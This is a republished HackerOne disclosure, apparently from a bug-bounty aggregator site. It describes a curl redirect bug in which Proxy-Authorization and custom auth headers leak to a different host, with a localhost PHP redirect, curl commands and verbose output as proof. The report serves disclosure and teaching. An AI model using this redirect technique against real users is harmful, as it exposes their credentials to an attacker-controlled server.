Skip to content
Info disclosure Disclosed report Intermediate CVE-2022-27776

Credential leak on redirect

Curl's protection against forwarding credentials across a redirect was incomplete: it stripped Cookies and Authorization but not Proxy-Authorization or custom headers such as x-auth-token. An attacker who controls a redirect target could therefore receive those secrets when a user follows a redirect to a different host or port.

iylz Follow

Originally disclosed on HackerOne

  • Disclosed after 29 hours

Summary:

[add summary of the vulnerability]

Curl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect , like the Proxy-Authorization 、x-auth-token header. It is a bypass of fix https://hackerone.com/reports/1547048 , CVE-2022-27776 .

Steps To Reproduce:

[add details for how we can reproduce the issue]

  1. Create a 302.php file, such as:
<?php
header("Location: http://a.com:8000");
?>

Add the 2 record in the /etc/hosts file:

127.0.0.1 a.com
127.0.0.1 b.com
  1. curl -H "Proxy-Authorization: secrettoken" http://b.com/302.php -vv -L

The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:

# curl -H "Proxy-Authorization: secrettoken" http://b.com/302.php -vv -L
*   Trying 127.0.0.1:80...
* Connected to b.com (127.0.0.1) port 80 (#0)
> GET /302.php HTTP/1.1
> Host: b.com
> User-Agent: curl/7.83.1
> Accept: */*
> Proxy-Authorization: secrettoken
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 13 May 2022 11:22:06 GMT
< Server: Apache/2.4.6 (CentOS) PHP/5.4.16
< X-Powered-By: PHP/5.4.16
< Location: http://a.com:8000
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host b.com left intact
* Clear auth, redirects to port from 80 to 8000
* Issue another request to this URL: 'http://a.com:8000/'
*   Trying 127.0.0.1:8000...
* Connected to a.com (127.0.0.1) port 8000 (#1)
> GET / HTTP/1.1
> Host: a.com:8000
> User-Agent: curl/7.83.1
> Accept: */*
> Proxy-Authorization: secrettoken
>
  1. curl -H "x-auth-token: secrettoken" http://b.com/302.php -vv -L
# curl -H "x-auth-token: secrettoken" http://b.com/302.php -vv -L
*   Trying 127.0.0.1:80...
* Connected to b.com (127.0.0.1) port 80 (#0)
> GET /302.php HTTP/1.1
> Host: b.com
> User-Agent: curl/7.83.1
> Accept: */*
> x-auth-token: secrettoken
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 13 May 2022 11:24:15 GMT
< Server: Apache/2.4.6 (CentOS) PHP/5.4.16
< X-Powered-By: PHP/5.4.16
< Location: http://a.com:8000
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host b.com left intact
* Clear auth, redirects to port from 80 to 8000
* Issue another request to this URL: 'http://a.com:8000/'
*   Trying 127.0.0.1:8000...
* Connected to a.com (127.0.0.1) port 8000 (#1)
> GET / HTTP/1.1
> Host: a.com:8000
> User-Agent: curl/7.83.1
> Accept: */*
> x-auth-token: secrettoken

The reason for the problem is that curl's filtering of authentication header header is incomplete. The Proxy-Authorization and x-auth-token headers are not considered, only restrict the delivery of Cookies and Authorization.

Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

  • [attachment / reference]

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Proxy-Authorization

Impact

Leak of Proxy-Authorization and x-auth-token headers.

The original report as published on HackerOne, by iylz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely curl's redirect handling only cleared a fixed list of sensitive headers (Cookie and Authorization) and did not treat Proxy-Authorization or arbitrary custom authentication headers as credentials to strip.

Impact

Proxy-Authorization and custom authentication headers could be disclosed to a third-party host when curl follows a redirect.

What the attacker needed

Victim uses curl with -L; attacker controls redirect target; victim sends a sensitive custom header

How it was found

  1. Set up a local redirect page that sends the client to a different host and port.
  2. Map two hostnames to the loopback address so the redirect crosses hosts.
  3. Run curl with a Proxy-Authorization header and follow redirects, then observe the header arriving at the second host.
  4. Repeat with an x-auth-token header and observe the same leak.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web client like curl is told to follow a redirect, it should drop sensitive login headers so they are not sent to a different server. Here curl only dropped some of them, so a secret header could travel to a server the user did not intend to talk to. Anyone who can make the first server redirect elsewhere could then read that secret.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by iylz

View all

4 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.